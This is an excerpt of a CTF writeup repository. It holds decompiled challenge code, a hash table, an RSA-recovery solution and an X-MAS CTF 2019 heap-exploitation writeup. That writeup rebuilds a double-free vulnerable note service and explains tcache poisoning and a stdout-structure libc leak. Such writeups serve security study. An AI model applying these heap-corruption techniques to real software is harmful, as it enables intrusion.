*flag_fileno; 543 | ulong flag_content_len; 544 | char *flag; 545 | uint *int_input_buffer; 546 | ulong input_len; 547 | ulong flag_content_len_cpy = 0; 548 | tree_node **tree_ptr; 549 | uint local_8c; 550 | ulong local_88; 551 | void *local_80; 552 | char initial_input32 [64]; 553 | ulong counter; 554 | void *local_30; 555 | size_t tell_output; 556 | FILE *fflag; 557 | char **argvcpy; 558 | 559 | increment(&program_started); 560 | // 10 seconds time 561 | // 562 | // flag_fileno = fopen("flag","r"); 563 | // if (flag_fileno == (FILE *)0x0) { 564 | // fprintf(stderr,"open flag failed\n"); 565 | // // WARNING: Subroutine does not return 566 | // _exit(-1); 567 | // } 568 | // // 2 is probably SEEK_END (?) 569 | // fseek(flag_fileno,0,2); 570 | // flag_content_len = ftell(flag_fileno); 571 | // fseek(flag_fileno,0,0); 572 | // // file size plus 1 573 | // flag = (char *)malloc(flag_content_len + 1); 574 | // if (flag == (char *)0x0) { 575 | // // WARNING: Subroutine does not return 576 | // _exit(-1); 577 | // } 578 | // memset(flag,0,flag_content_len + 1); 579 | // fread(flag,1,flag_content_len,flag_fileno); 580 | // fclose(flag_fileno); 581 | // memset(initial_input32,0,0x40); 582 | // int_input_buffer = (uint *)malloc((flag_content_len + 1) * 4); 583 | // if (int_input_buffer == (uint *)0x0) { 584 | // // WARNING: Subroutine does not return 585 | // _exit(-1); 586 | // } 587 | // memset(int_input_buffer,0,(flag_content_len + 1) * 4); 588 | // input_len = read_input(initial_input32); 589 | // flag_content_len_cpy = read_strange_int_input_buffer(int_input_buffer,flag_content_len); 590 | tree_ptr = new_tree_ptr(); 591 | 592 | //char buf[] = "xaffgzbaaduxy"; 593 | if (argc < 2) { 594 | printf("usage: gimme your tree-string"); 595 | exit(1337); 596 | } 597 | char *buf = argv[1]; 598 | 599 | input_len = strlen(buf); 600 | 601 | counter = 0; 602 | while (counter < input_len) { 603 | add_tree_node((tree_node **)&tree_ptr, buf[counter]); //initial_input32[counter]); 604 | //increment(&main_tree_loop_1); 605 | printf("\n==============\nRound %lu: Added [%c]:\n\n", counter, buf[counter]); 606 | print_tree(tree_ptr); 607 | //print_counters(); 608 | counter = counter + 1; 609 | } 610 | counter = 0; 611 | while (counter < (flag_content_len_cpy & 0xffffffff)) { 612 | add_tree_node((tree_node **)&tree_ptr,flag[(ulong)int_input_buffer[counter]]); 613 | //increment(&main_tree_loop_2); 614 | counter = counter + 1; 615 | } 616 | //increment(&main_finished); 617 | //free(flag); 618 | free(int_input_buffer); 619 | free_tree((tree_node *)tree_ptr); 620 | return 0; 621 | } 622 | 623 | 624 | -------------------------------------------------------------------------------- /0ctf2019/table2/table_new2.table: -------------------------------------------------------------------------------- 1 | (' ', 'ac672936995481c9d96a25ccb4f656cb') 2 | ('!', '074bf1667e5d949f2494c096ca8f37fc') 3 | ('"', '57ba746da4e1c4ce9782d8b93caba961') 4 | ('#', 'f0468b811104bff662c3f0047e659c4f') 5 | ('$', '33fa62c259fa807534514932218493b4') 6 | ('%', '2ad69d6722de5465cd637ae82d3c2854') 7 | ('&', '0bf200f98236fa62f366ac32c7ad155c') 8 | ("'", 'e2ef7b1134b09f887297ca7d6e95985a') 9 | ('(', 'fa926b8e6fb77571c49eadb08e92e41d') 10 | (')', 'c4ea0203394c8d4a95060dc22ab20202') 11 | ('*', '67d402bfaf1f3324a3f3ef8bc9caad0c') 12 | ('+', '3ea759898a8dcab4d25cebf39f41fac0') 13 | (',', 'e5f8d7e598a497c2e4b2935b974c03ca') 14 | ('-', '3b82aa0a3d4bc58de26375256ebadef4') 15 | ('.', 'a19bac46fd64ad8c3d4b147af7a12693') 16 | ('/', 'a0d134c5594000d395599a4eccd24a77') 17 | ('0', 'c67b2bc7677966433359fff13dd5f28d') 18 | ('1', '286534a2bf863ccebe73e6c993ac704a') 19 | ('2', 'e1dda5305169062284d7795c05f39f2f') 20 | ('3', 'e7739cf4c61d1f893922f603e738f363') 21 | ('4', '4c0ad16b2d69c9101ceb29f6443328d6') 22 | ('5', '812da1c3562f57b129c511e0890dcbba') 23 | ('6', '2963850035d9f641fd5837f7f79ac934') 24 | ('7', 'ff8a6fe9cae7fa130007d77bf053eba8') 25 | ('8', '32521d8dadd53505c297e31568163e81') 26 | ('9', 'b0270c885eea40296e479b0571ede687') 27 | (':', 'd3055c028333db891ae1f44f5954e980') 28 | (';', '9b438814260bf807a59e857b07935cc8') 29 | ('<', '161bcdc4e5d333726bbe19e7b559fa56') 30 | ('=', '31697349ec5d385c349d6b66d4d837cf') 31 | ('>', '85eee15125b24ec654e263e80b4c4adb') 32 | ('?', 'cee0091a59f1b52b260d5fa1378fc0a8') 33 | ('@', '8e181c1e9ea850865005c8aa45ccc1be') 34 | ('A', 'a5872fb04b824249ea12afdbcaf94187') 35 | ('B', '6e556f9ca75c0578d7b93576238ad687') 36 | ('C', '5ba96e27bd7d798902fb1c18c531ee98') 37 | ('D', 'e9c2a556e641f7ea0a7bbd5e3ceb9913') 38 | ('E', 'ee66b31bb76ffdc818f864ee2f54ad62') 39 | ('F', '863634c45b9d8c0901407eb466a5376e') 40 | ('G', 'c89849af6f4ffc0f927f4cb2f9a66e07') 41 | ('H', 'ec9e9f3917c6482a18f30bf4eeb6a02e') 42 | ('I', '3eeae54b5982c1846d7f69eb64e77735') 43 | ('J', 'eb9e6d0ae2a299eadd096a49838e959a') 44 | ('K', '91e54f6902a4b81c9f6440d0b306012d') 45 | ('L', '6d5f7d6e5a3853081e1dc034d80c92fd') 46 | ('M', 'db7069e6979e5ce97f4d684baab78f18') 47 | ('N', '65f16e7a54a8677e04bcf94ccdb51295') 48 | ('O', 'f7a24611dce56d016411934170adf333') 49 | ('P', '291a55be93fa225e2789ca1724db6363') 50 | ('Q', '7fb439bb23fd6da7d5a874e2d15c3da9') 51 | ('R', '94d762a9815d092a914fa499bd1c8c05') 52 | ('S', '79c87b95025fc88cc563d75c750547bd') 53 | ('T', '1bfa1440ee4f21e02b3d411934f47dd9') 54 | ('U', '76cf5afe39bec275a6c927740403f21a') 55 | ('V', '42ed714eb0e2a1d6eb29c248a79812f6') 56 | ('W', '52971b166e4ddb521449f787caf192dc') 57 | ('X', '6841110a80859a1d767491864f72e01c') 58 | ('Y', '1a1e4a13c6cdbbd327d5235dd087e085') 59 | ('Z', 'a809540ea987a7d2174a0771ceee69e9') 60 | ('[', '743861eab1a54897fa16d42ab833915d') 61 | ('\\', '73dc2917b8d80f7205dc9dbff6d8bf06') 62 | (']', 'c703ffba70aaf5e83db52f48b4a50dbb') 63 | ('^', '4cce9b84ef8f929f2e52dc6036964955') 64 | ('_', '5f20de7353505346e477d10cce6fad17') 65 | ('`', '49a2101f1a8e43c207f9e84e8d1c1789') 66 | ('a', '098bf111df6beb29101cfdf719802e9f') 67 | ('b', '47701cd9ad45cbfc9913d45b3665c7f1') 68 | ('c', '6e347d3007d947ee1cf0329f18015ef1') 69 | ('d', 'ffb7121f25a1c2a54a5c7b6e518d947d') 70 | ('e', '397e48c1f4e928e964b1ea60758d8e4d') 71 | ('f', 'c1409303bc13e4518a956f0eaa109981') 72 | ('g', '017cf5ad12200e3ca77b7de3e5b335e4') 73 | ('h', '5e0d425eb2fc260309cafe132f5c2749') 74 | ('i', '0d077f1b7e518dada45c9b47a3ae94c1') 75 | ('j', '1ea53f26738547876267510127e6c9b3') 76 | ('k', '3955c19afd9d83920f4597e3237204f9') 77 | ('l', 'b291f0144c3e8d98d30ade91fac9b291') 78 | ('m', '075020e59ea10fa654bb2a3b9d1bd388') 79 | ('n', '7e40e355e5b194fd2e807ab50a033348') 80 | ('o', '5addc6a47b31124accfb679508c04081') 81 | ('p', '4709041706e3d25aa6dcec19d6c7d220') 82 | ('q', 'f8fbd2e6747b4c02bee4de9b29934e5d') 83 | ('r', '5ea583e23f83ea51daed21329ecb593d') 84 | ('s', '13256c4eee0ab70a96e941d2d74b4c74') 85 | ('t', 'd705b2f188de8ebc5a4a84b1dd224302') 86 | ('u', '51591d7d34d28dda0f955caa6664c441') 87 | ('v', '7d3b4519a92f738f41242a29aabf1b9d') 88 | ('w', '98d776c53ab08c40ab7a5508913a41a8') 89 | ('x', 'e80b397e941e81467d2c48429b0ecfb5') 90 | ('y', 'afd5e0b6ec4e97cc906f9eba499242aa') 91 | ('z', 'ab1b1317c249967c38c4eeefc3fa22df') 92 | ('{', '385d7b9b159aa692d5fa643eda31dd06') 93 | ('|', '393035891498b9609aa7652eb567748f') 94 | ('}', '09a5c83fac298d7b499c4f34ff6be2a1') 95 | ('~', '86a614a90d220177d5a4ef04727d7a71') 96 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ENOFLAG CTF writeups 2 | 3 | 4 | ## 2022 5 | 6 | | Name | Date | Format | Writeups | 7 | |:-----|-----:|:------:|:--------:| 8 | | [HACK.LU 2022](./hacklu2022/) | Oct. 28-30, 2022 | Jeopardy | 1 | 9 | 10 | 11 | ## 2020 12 | 13 | | Name | Date | Format | Writeups | 14 | |:-----|-----:|:------:|:--------:| 15 | | [Pwn2Win CTF 2020](./pwn2win2020/) | May 29-31, 2020 | Jeopardy | 1 | 16 | | [SpamAndFlags 2020](./SpamAndFlags2020/) | May 08-10, 2020 | Jeopardy | 1 | 17 | 18 | 19 | ## 2019 20 | 21 | | Name | Date | Format | Writeups | 22 | |:-----|-----:|:------:|:--------:| 23 | | [X-MAS CTF 2019](./X-MASctf2019/) | Dec. 13-20, 2019 | Jeopardy | 2 | 24 | | [RuCTFE 2019](./ruCTFe2019/) | Nov. 23, 2019 | Attack-Defense | 1 | 25 | | [Pwn2Win CTF 2019](./pwn2win2019/) | Nov. 08-10, 2019 | Jeopardy | 1 | 26 | | [TastelessCTF 2019](./tasteless2019/) | Oct. 26-27, 2019 | Jeopardy | 3 | 27 | | [BSides Delhi CTF 2019](./bsidesdelhi2019/) | Sept. 28-29, 2019 | Jeopardy | 1 | 28 | | [CSAW CTF Qualification Round 2019](./csaw2019/) | Sept. 13-15, 2019 | Jeopardy | 2 | 29 | | [CyBRICS CTF Quals 2019](./cybrics2019/) | July 20-21, 2019 | Jeopardy | 3 | 30 | | [CInsects CTF 2019](./cinsectsctf2019/) | July 12, 2019 | Attack-Defense | 2 | 31 | | [FAUST CTF 2019](./faustctf2019/) | May 25-26, 2019 | Attack-Defense | 1 | 32 | | [0CTF 2019 Quals](./0ctf2019/) | March 23-25, 2019 | Jeopardy | 1 | 33 | | [Insomni'hack teaser 2019](./insomnihackteaser2019/) | Jan. 19-20, 2019 | Jeopardy | 1 | 34 | 35 | 36 | ## 2018 37 | 38 | | Name | Date | Format | Writeups | 39 | |:-----|-----:|:------:|:--------:| 40 | | [hxp CTF 2018](./hxpctf2018/) | Dec. 07-09, 2018 | Jeopardy | 2 | 41 | -------------------------------------------------------------------------------- /SpamAndFlags2020/README.md: -------------------------------------------------------------------------------- 1 | # SpamAndFlags 2020 2 | 3 | *Fr, 08 May 2020, 20:00 CEST — So, 10 May 2020, 20:00 CEST* 4 | 5 | ### Official URL: [https://spamandhex.com/ctf](https://spamandhex.com/ctf) 6 | ### CTFtime URL: [https://ctftime.org/event/970/](https://ctftime.org/event/970/) 7 | 8 | ## Writeups 9 | 10 | ### [shor](./shor/) [crypto] 11 | -------------------------------------------------------------------------------- /SpamAndFlags2020/shor/ReadMe.md: -------------------------------------------------------------------------------- 1 | # Shor 2 | 3 | ``` 4 | N = 3416356674834751205654717212071257500891004481277675802480899188082530781676946620047015174887499659759994825842311234570747025346194269593432201439553474104726357466423594117729691868522956307297012280773715009336391891527625452216694507033820734082774562411516154786816821799139109814782126237257954493537197995738073491626828821669476230971917909830728881441510625888688452097090833935723507974378873159008169669871084895916325728244256040953051421900207387581176872063669038872455907987681935770956653031961149178257817864076041790032686112960572631551662957882869381443972442620140208708846269452219913845752692040947773507733718069833552772389207842695834274596725601269983676368769026979527592867536756156322713708743946168101133561610926637848052441486328236721261416666787449231413994156377194904834445823205296393743874301916674863699954694052632649609814866866736039080083583524584794922211502053023693044595773419383663012687997167507079146962402233459843639452122470388183046710067826419546875172302687074961955298456070785841370571843245308435171042459399472863709320869064664474183630027880885944811713149681771668394805036911499525569725364876617355369131347083485036868905546790785483319564946606640739539740000000000001 5 | e = 65537 6 | Encrypted message = 2761381113410910848061431300230480498009026842114852457129705785252041512194320382139992607990523185711265558416291496166730903035100162870595351770249633960051157494292619436506842619411602708064741507667875940943200199830629156186966769529608798700085556407391764625041336657163923382446150480716540088086014660597539878575206223118477684139141382850852953596383417648061979405616513335248108939135401317656931895525429904559698612462360168606617613714419613744092435822735639489593242225248516709920461824689537628749384086945788127710215825798099407801004302766884540735728033427144173723144540438415615972235181583759134738853378222450717263640639637197665448224710544718570975791277317803802004936569093622711877823386532910160498710047256140658328647339389246101926399729410376417737133141155904985744908184776453418311221976969592540762037641244078748922362005375622546885851174461996130712712012110007014160102248347323006075438769540656035545567873264556383372389088602088215706058030212514538785797366617737232735823224036561813895187291608926452840528509117072693473454500812176162568323908661021204552565519477362475191073574449068082075563301731771738898463551240775337975574420761416092262799207037100971408380894166511517 7 | Base element = 1055996486206343282900378582239294340792376691775344496933466299728441053731145595712130431971194025194789509268517622355475415699064683110017844110306038495669213294512300387373611752219357804438832230491906844604655582965815296272037439743337013140766325647199056633009800091721973373266284818365172234615731317282201888653323643200935585860690203559729920660732314791721010170075598012541020242212729633805500814805618699794746356843998160925987970495456937473496798050761424036710102809671554730207807099004826662404274037937805782414813889799092703191357895006998518119807675096524648668105710889520659292064959937083980230094792797660331780117673207101104336730141359386565164773139490936534220599679944915992879676814408158495294462729255659309148721319247178480380853423886332215762669161651462318898104177785569288415822890569538608749637828249746515568505820117008373602089204739125324422734144022818114547426262144105857697865525296381197288010175218167887685455029178631077447578643219786514691704255525825989866345315707869283456054142607295582337561819546799116128115591556912433522048087071838479458051821758524175955048742012086896119371652370796825701079986027369043480123068780648561901319601133577394286114422843702432 8 | Order of the base element mod N = 4238905730299571511585410925992706985376240434599640426773730678688148201988287191828553430803354181800011233926113337354226603520697209783788323782074002570383969322036520148451330264738762823474389251519331890832896947816064451687914322654345208162866922224699576968808732333973644883697916363675589456970485473534854730462259729068231976448513756950228426287377821431710399101131033185211011454635767134370015858843667379202869398742242467296213912220088796029353706699766346980050862526610289204788284877119355791479746742348282652679426554008068210121318762257110078200503361306295050591594278560207575724450235102000132261276258646393369631386590170896001661198420859987589818266451143197584239528981328996248775188255680196412623826715722830666634670196882972751433186125430873698792718250532170807439694934936990057791640607436435301727450448556704183815360000000000000 9 | 10 | N = 2991827431838294862966784891173748689442033961794877893451940972359233879769847725449228773148722094529956867779219983311911235955792605578395060263578808536063092916571136475239794888147950848214752108530874669597656040523610448227520304582640063474873583656809304967459752224335947620804298564179924078757517862179181060444078070172493793150026947727360122588243906747708457615039889721849607047000641714571579283754866961814830107819957024391003568024994181049938378413334966649251188961819321448682445927391114305975879570003772269969469588663531270178974591969925207103686182551942494472789179737369451543233260843746179834780752253276798913060176677373344860806929972937611690448747280201511208307706943617522916333696589954418418512093433247071173377326670866040814437718937690090980047459933178869155400675905036321541350337851757862692429647759994174403035047868866380532338380873261053816376341913465724835415340251162893735767326552546919855284937726326731441519889186734423951395212523220146945845162409884737237923785964497202757230883029324416637456965308473300854577504808364024330378522663828056533671597367520562225643048706011802233019317215123933958808152725154411743332088899288508468593418829959011282400000000001 11 | e = 65537 12 | Encrypted message = 2531660758159102106999922822493820302169183249029699298380750419804912981078240111089565187748502615169619449928310076159800762484249020730886854764078009557326494365796575309754306060895741885211198610505721203507814192128839503737291197069234351836810854223030378000820938504735126183620662226211294903835627678811157291048664678572304025634924267129428510979026314050106995314523210612331981768597984203429076023591397856707455528854522104986240723455104438487966058421959390227565424319636235073477666997681029116486647463880002823388608260093894456795540694720629625527329323684878152739366013269778011757631190103115043539594628554367787519741106584004241327421302272094113265773180162899203764874825552334657449934441071352148125558886491091793139344423110165781566037078043832296825375895852298473387015088375898655324500306048183570101483693662534978822756258118410200222284524929885793009405552015370616552679622972347070759844379580088041991521148785824291751921210406073912891922688439114984052272250782118904388849553081232965036241428691829851803371361644484044221342965264168539902013379507771257120299352913163345981016945342848447336225869621056777226811065585619753827670072917635971752035946214183086097252078340377 13 | Base element = 1829153880209649817133271412751305881103610013739763088923077280434366008959719235452957078221891237308379781288879363791539430220845383889227740411644955884968196574019943709097001094862645074306716496415534566247816774897269238114091279124124091700764840107465580642637459959015903827486467910611609784194608612149345770563267560917386252645759909538776262146737382917080133277398970758572689056844853243427439055377394656794013749225347998189709948887047577042647905170078524777397680898109253683306111499807322326245646845259128584230086206539835934418642057740414834277630066579742969677059470203779983187308326453607258426368416380384523318952851218644550009238431278993675363425049662149668470280231683337923276272387771840117173908330607743659713860257263643040431559650893577414139138217937759522352285809151061311523338500433765023972281129640106225269532535796894086126118104841162208461340696704839068163154370315977002827143257580471764590022552133582987462716243934183478321807246787571759906333816115673026182562618376889910687549643049481188484777403338304913851833231384760713336723555123914290623703216306684354716413002921801327907807492210145023967509638599883924815959016469514087510318652377090383573408143189875 14 | Order of the base element mod N = 38560713413761379609566936395075572668071080369628115670192641624417776440980701273226992681066964803737397381408237287334201476745729770113169915736677140504101099304776220304170036785989541305856749630544154979967581254694324718665152362814949431192818076514159143920559225991949100970917003919304615824659209163754766161614749009649133180228055247044270344226425323332646355266368819265059396049425171682329538795580522984697326474922568268329719528505679116152346876832004895230968147369090419957506470480923337840332756289795096914722280492211387936874519432905484354110305469319291675552896266756806053842137289993143099968838508275750939158109007269956200282881600747847025693151059090777570290662683532429738733835486556597653924207696863659981475762012361157891219362456668118612981384660665186944304494624842569258321135919050716021742463590031294193325414875000000000000 15 | 16 | N = 639706454183841086618060975133506435367679028105293302817889792041855677471135941103994762703392838736550531721530519902301470750304779911155948306612218591799138935866091048693721293892613230480914682428803749924762632427878750084742837813855723359392232771898376144411173068466325310996285248870190702255300295718279606810768110856840161610010502480738215025268551716825052096172524263657070455782204684928203735045097429967165474359767392495180608955232616327356163710417152398486581379295622675189862310699861836394640703199409486435353374174382718391365103593266779715410988747697764215166949296221369189067831531714495456829718257893130130416683979435112783237218934779364887142409293199844536181411788012117636490932176828156653094980496223057242278831933489822824530461645422526392004499974646624081371558910799120884541611121693589957355055417494388914462063844749724848803935934167650377339476529423342556181857024514566806542877109818592708843793048372638440744883734584671163178855889594818530649315246941990069941785981955697316724277843473035594824612773270449343568535991703905499866381894302869556783328828954361131697748870040510488262322072045737316482227372952773445112189325175417604463517935092556879962500000000001 17 | e = 65537 18 | Encrypted message = 314557466900381591242205623579215445569259870097282668596289597435494983504258313716837830074410569549101885948568828637582431634467367466943722507276554179061705214704312821336717217276072271410024795714853171285472330519984587064351490291946402527076873292156733615667090804533241881526392028722581482187557723462380933494893691818228096727143987965819030197035623098060074104267041580315471527363573905276688203330678967500136780376909740475740022222411007552160610953916933397422648078574769436057858371423387220212599778301238209747504040262792435824139984626671181921830676755679706257094800530170169257172295175588719735103506516267986479535271545672025427357482695339982756270595766559224783234664773225592292836903578759322554594969550738489322024841847122750086552969841091794921189991698185013467950728556383510751767964677981993613884189958377917008871409895441041469390537626990484305898147725819267800469005035373857720477647896885556328405130736251247026436983943132062518372195855113707867220345039790830160353546642486915870683279621035540163308693026969159279331149570510984194914611989693165753486432581824076235984213086481799164719307250544991262352133753835282085522276721189362210449308160808673482171271973635244 19 | Base element = 639304614539878463528258079784485748453961997788947903221008691564113768520824054912297976536885940415782622645768931907574552208662557961036585337121563972787735955983309963130196394585676321161401997238426213858836312606239377567018014879457602469055903523965367593064504320727353617645008844597485114399103468775003826394898641131760075425500944415018954023297315378870220312096580715953041280770744209039443690535218083691700925452593344949001347653528186426823387750740646066047708041588621042651593046230315985777228755475771740021166081093461613932804274331432897373691848802487920026711269596469629200479861558951471085509476724616504184151217773738289142755911284204461983148202468210535247036226138104957496934373369643383555984827000297035903273630278899210336015318311506134648061163404223082855619761623079750994914318022721602011861174058485022590668829472045006137826398687345964608059482609412099029725762290028597233216240977074149903617204351904445855117337610478775944092457560644108917597151881101242098843506234170355231516604966143012558147526635689505625221752278863528033799535375216911655599336840088585218525839719910996381383231125137334134672943265221074537386720854796169924885902033065767799038702600353014 20 | Order of the base element mod N = 14340465843181389754296043575153150999880553806256424482462005187943660544889251567825193761881671644627116681986880575247775472382429862008693821301217688225108915963042069716362423106872635469122008951761035973093847332884289274367583111876861239752881719413283646415859188694420897533751169969651755858306856280014457872696378749964024941714569321714532004454417234363334457733364193711334660355969032846878694439112996047986990515538880360978717487357475370816216899522824940567676602652086299685154259807064490034942183064960225615267196543096878918185306891778544872672261753262617338859347952171566380431887826270695379201691684193987862510003351182776540049015193655070499556038737924000948120384038167880639676616861182091141971972645457231169645122120054623647146495784214301275060819958507861645053527917643055478749534854842138961878541223358154296875 21 | ``` 22 | 23 | * 3 times RSA: $n$, $e$, $c$ -- cipher 24 | * Additionally some number $a$ with its order 25 | * order $o(a)=$ smallest $k$ with $a^k\bmod n = 1$ 26 | 27 | ## Solution 28 | 29 | * element-order divides group-order 30 | * multiplicative group modulo n has $\varphi(n)$ elements 31 | * $o(a) \mid \varphi(n) = (p-1)(q-1)$ 32 | * $\varphi(n) \approx n$ (a bit smaller) 33 | * Test `phi = n // o(a) * o(a)` 34 | * compute private key $d = e^{-1}\mod\varphi(n)$, like in key generation 35 | * decode message 36 | * Approach worked for all 3, gives flag in 3 parts 37 | -------------------------------------------------------------------------------- /X-MASctf2019/Blindfolded.md: -------------------------------------------------------------------------------- 1 | # X-MAS CTF 2019 - Blindfolded (pwn) 2 | 3 | *21 December 2019 by MMunier* 4 | 5 | ![Challenge Description](Blindfolded/Blindfolded-Desc.png) 6 | [folder](Blindfolded/public) 7 | 8 | ## General Overview 9 | Blindfolded was a pwn challenge in this years (2019) X-MAS CTF. 10 | It was also the first challenge I tried and solved over the course of this CTF. 11 | 12 | As it correctly states heap-challenge binaries are completely useless. That's why all it provided was this [Dockerfile](Blindfolded/public/Dockerfile): 13 | 14 | ``` Dockerfile 15 | FROM Ubuntu:18.04 16 | 17 | # [REDACTED] 18 | ``` 19 | 20 | Frankly as soon as I read that I was hooked, since I've rarely/never seen such a pwn challenge without the binary provided. 21 | However as anyone who has experience in heap-exploitation can/will tell you this Dockerfile itself is already a great hint. (We'll come back to that later) 22 | 23 | ## Playing with the service 24 | 25 | The service itself seemed like your standard note taking service and the author made it pretty self aware about that. 26 | 27 | ![Challenge Description](Blindfolded/Blindfolded-Banner.png) 28 | 29 | Judging by the menu labels one could quickly assume which option corresponded to which heap operation. 30 | 31 |
    32 |
  1. New => malloc
  2. 33 |
  3. Delete => free
  4. 34 |
  5. Exit
  6. 35 |
  7. Realloc => realloc (duh!)
  8. 36 |
37 | 38 | This was one of those binaries that never prints **any** user input. This reminds me of a libc-leak-vector which comes afaik from *@angelboy* as well as his challenge *Baby_Tcache* originally from HITCON CTF 2018 with [this writeup by bi0s](https://vigneshsrao.github.io/babytcache/) being a great resource for it.\ 39 | This is partially confirmed by the Dockerfile since `Ubuntu:18.04` provides `glibc version 2.27` -- the same as baby_tcache. 40 | 41 | 42 | ### Creating a note 43 | Upon creating a new Note you could specify an index and the size of the allocation. 44 | It lets you write arbitrary content afterwards but as far as I could tell one could not write OOB. 45 | 46 | ![Challenge Description](Blindfolded/Blindfolded-malloc.png) 47 | 48 | The index was bound between 0 and 9 which lead me to believe that the returned pointers were stored into some kind of global array that only had 10 slots. You also couldn't allocate over a slot that was alreadly used. 49 | 50 | The size of the allocations it would allow were also capped at some value but I never bothered to figure out what exactly it was. I just knew it was somewhere between 0x100 and 0x400. 51 | 52 | All in all allocations of an arbitrary size and content are already quite a powerful primitive, however no vulnerability was found in this part of the binary. 53 | 54 | ### Deleting notes 55 | 56 | As expected the vulnerability was in the deleting option. 57 | Similarly to the guessed array indices creating the notes deleting a Note required an index too. 58 | 59 | ![Challenge Description](Blindfolded/Blindfolded-free.png) 60 | 61 | However just deleting an entry that doesn't exist works perfectly fine and still decreases the counter. Since it was hinted that the vulnerability should be pretty obvious I deemed that this was probably an unchecked free. 62 | 63 | Using that upon a real allocation you would have a double free which is a heap corruption that is definetly exploitable, especially in this version of libc (*2.27*) with basically *unchecked Tcaches*. \ 64 | (If I am losing you already, you'll probably need to read up a bit of background info first (or later) like [glibc heap implementation by azeria-labs](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)) 65 | 66 | ### Realloc and Exit 67 | For completeness sake I'll also include realloc and exit in this writeup, even though they weren't strictly necessary. 68 | Exit is probably self-explanatory as it does exactly what it says. 69 | 70 | Realloc on the other hand was a bit of a weird addition. 71 | ``` 72 | Ummmm... But that's forbidden... I could let you... I have a bad feeling about this... 73 | I'll give you only one chance... But first, let me clean the stack a little bit... Done! 74 | ``` 75 | It tells you something like that to realloc a single buffer and lets you also call it only one time. Afterwards it only tells you: 76 | ` 77 | "No, no, no. I told you that's forbidden and I already made an exception once."` 78 | 79 | To this date I still haven't figured out why this addition was made and I'd like to find out -- "but in the end it doesn't really matter ". **¯\\_(ツ)_/¯** 80 | 81 | (If you know write me (*@_mmunier*) on twitter although im not really active there) 82 | 83 | ## Rebuilding the binary 84 | 85 | As I deemed it pretty unlikely to be able to exploit it completely blind i tried to rebuild the essential features of the binary. 86 | 87 | Based on my above mentioned observations this is what I came up with. 88 | 89 | ``` c 90 | #include 91 | #include 92 | #include 93 | 94 | char banner[] = "Are you ready for another heap challenge?"; 95 | char menu[] = "Space %d/10\n1. New\n2. Delete\n3. Exit\n1337. Realloc\n> "; 96 | char input_buf[100]; 97 | int space = 0; 98 | 99 | char* arr[10]; 100 | 101 | int do_malloc(){ 102 | int idx, sz; 103 | printf("idx: "); 104 | scanf("%d", &idx); 105 | getchar(); 106 | printf("sz: "); 107 | scanf("%d", &sz); 108 | getchar(); 109 | 110 | 111 | if ((space < 10) & (idx < 10) & (idx >= 0)){ 112 | arr[idx] = (char *) malloc(sz); 113 | printf("data: "); 114 | read(0, arr[idx], sz); 115 | space++; 116 | puts("Created"); 117 | 118 | } 119 | else 120 | { 121 | 122 | puts("NO JUST NO STAHP!"); 123 | } 124 | 125 | } 126 | 127 | int do_free(){ 128 | int idx, sz; 129 | printf("idx: "); 130 | scanf("%d", &idx); 131 | getchar(); 132 | 133 | if ((space < 10) & (idx < 10) & (idx >= 0)){ 134 | free(arr[idx]); 135 | space--; 136 | puts("Deleted"); 137 | 138 | } 139 | else 140 | { 141 | puts("NO JUST NO STAHP!"); 142 | } 143 | 144 | } 145 | 146 | int do_realloc(){ 147 | int idx, sz; 148 | printf("idx: "); 149 | scanf("%d", &idx); 150 | getchar(); 151 | printf("sz: "); 152 | scanf("%d", &sz); 153 | getchar(); 154 | 155 | if ((space < 10) & (idx < 10) & (idx >= 0)){ 156 | arr[idx] = realloc(arr[idx], sz); 157 | printf("data: "); 158 | read(0, arr[idx], sz); 159 | space++; 160 | puts("Created"); 161 | 162 | } 163 | else 164 | { 165 | 166 | puts("NO JUST NO STAHP!"); 167 | } 168 | } 169 | 170 | int main(){ 171 | int choice; 172 | setvbuf(stdin, NULL, _IONBF, 1); 173 | setvbuf(stdout, NULL, _IONBF, 1); 174 | puts(banner); 175 | 176 | while (1) { 177 | printf(menu, space); 178 | scanf("%d", &choice); 179 | getchar(); 180 | 181 | switch (choice) 182 | { 183 | case 1: 184 | do_malloc(); 185 | break; 186 | 187 | case 2: 188 | do_free(); 189 | break; 190 | 191 | case 3: 192 | exit(0); 193 | break; 194 | 195 | case 1337: 196 | do_realloc(); 197 | break; 198 | 199 | default: 200 | break; 201 | } 202 | } 203 | } 204 | ``` 205 | 206 | As you can probably tell non-essential featues were not followed too closely by me. ^^ 207 | 208 | ## The Exploit 209 | The unchecked deletions result in double frees, which can be used to force malloc returning Pointers into arbitrary locations. 210 | This is done via repeatedly freeing the same pointer and then overwriting the fwd pointer of this tcache-bin (beause of the double free that's still in it) to return a chunk in a location chosen by us. [Demo by shellphish/how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/tcache_poisoning.c) \ 211 | However since we have no info leak over the binary, heap, stack or libc (in hindsight I should've checked if the binary even had PIE enabled), it doesn't let us hijack the controlflow immediately. With PIE and RELRO not fully enabled it might have been possible to overwrite the GOT of the binary directly, however I never followed that idea to its conclusion. 212 | 213 | Lets say we have a pointer into the libc on our heap. 214 | If the difference between it and the `_IO_2_1_stdout_`-Structure is small enough we can partially overwrite it to point there without much bruteforce, even if ASLR is enabled. 215 | 216 | Overwriting the stdout-Structure with specific junk seen in [slides 62+](https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique) or copied directly from [here](https://vigneshsrao.github.io/babytcache/), leads it to believe that it's buffer is filled with stuff from the bss-section of libc and thus prints our enlarged buffer upon the next invocation of puts/printf ...\ 217 | Which is how we leak our libc. 218 | 219 | Now the question at hand is how do we get this libc-pointer and how do we allocate a chunk there. 220 | If you've read the Background Info you know that Tcache-Chunks only have a forward pointer to the next free item on their bin. 221 | In contrast to that both the first and the last chunks of "regular" bins (that meaning small, large and unsorted) are equipped with a pointer towards the *main_arena* which is the centralized heap management structure in the libc. 222 | 223 | It has a distance of about 0x4000 (I can't remember and I'm to lazy to check) bytes to the *stdout*-Structure. 224 | ASLR only randomizes addresses at page boundaries so the interval between possible positions is 0x1000, meaning the last three nibbles of the address are static. 225 | So once we have this pointer we can successfully exploit it with a 1 in 16 chance. 226 | 227 | A little clarification: You have a 1 in 16 chance to overwrite a pointer to a chosen location for **all** 228 | distances between 0x100 and 0xF000. That happens because you are always forced to overwrite the second least significant byte of the address. As written 1 nibble (1 hex number) of this byte is random as long as ASLR is enabled, resulting in you guessing it correctly 1 out of 16 times. 